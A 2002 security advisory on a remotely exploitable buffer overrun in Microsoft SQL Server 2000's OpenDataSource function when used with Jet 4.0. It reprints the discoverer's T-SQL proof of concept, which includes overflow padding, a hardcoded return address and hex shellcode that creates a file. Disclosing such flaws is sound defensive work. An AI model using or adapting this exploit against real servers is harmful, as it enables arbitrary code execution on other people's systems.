Buffer Overrun Vulnerability in Microsoft SQL Server 2000

Reported June 19, 2002, by Next Generation Security Software.



  • Microsoft SQL Server 2000 and all service packs



A vulnerability exists in SQL Server 2000 when used in conjunction with the Microsoft Jet 4.0 database engine that can lead to an attacker executing arbitrary code on the vulnerable system. This vulnerability stems from a remotely exploitable buffer overrun in the OpenDataSource function.



The discoverer posted the following code as proof-of-concept:


Simple Proof of Concept
This Transact SQL Script will create a file called "SQL-ODSJET-BO" on the root of the C: drive
on Windows 2000 SP 2 machines



-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
-- To protect against this overflow download the latest Jet Service 
-- pack from Microsoft - http://www.microsoft.com/
-- David Litchfield ([email protected])
-- 19th June 2002



declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
                select @padding = @padding + @pad
                select @cnt = @cnt + 1

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K Sp2
-- change if running a different service pack

select @code = 0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM OpenDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad + @code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended properties=Excel 5.0'')...xactions'
exec (@exploit)





The vendor, Microsoft, recommends that affected users apply the patch mentioned in the Microsoft article "ACC2002: Updated Version of Microsoft Jet 4.0 Available in Download Center," Q282010.


Discovered by Mark Litchfield of Next Generation Security Software.

TAGS: Security
Hide comments


  • Allowed HTML tags: <em> <strong> <blockquote> <br> <p>

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.